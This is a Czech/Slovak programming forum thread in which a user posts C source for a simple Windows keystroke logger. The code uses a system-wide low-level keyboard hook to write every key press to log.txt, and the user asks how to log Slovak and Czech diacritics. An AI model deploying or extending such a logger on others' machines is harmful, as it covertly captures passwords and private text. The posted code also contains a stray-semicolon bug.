Stránka 1 z 1

Jednoduchy zaznamenávač stlačených klávesv v C  Vyřešeno

Napsal: 08 čer 2019 20:55
od junior333svk
Ahojte v rámci voľného času si robím zaznamenávač stlačených kláves.
Len neviem ako mám spraviť aby zaznamenával aj slovenske prípadne české znaky napríklad ked stlačím "č" tak mi napíše 4 (lebo sú na rovnakej klávese)
môj kód

Kód: Vybrat vše

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
   if (nCode >= 0)
   {
      if (wParam == WM_KEYDOWN)
      {
         kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
         if (kbdStruct.vkCode != 0);
         {
            switch (kbdStruct.vkCode)
            {
            case VK_ESCAPE:
               fprintf(LOG, "[ESC]");
               break;
            default:
               fprintf(LOG, "%c", kbdStruct.vkCode);
               break;
            }
            fflush(LOG);
         }
      }
   }
   return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
   _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
   
   LOG = fopen("log.txt", "a+" );
   SetHook();
   MSG msg;
   while (GetMessage(&msg, NULL, 0, 0))
   {
   }
   fclose(LOG);
}


Za každú radu budem vďačný.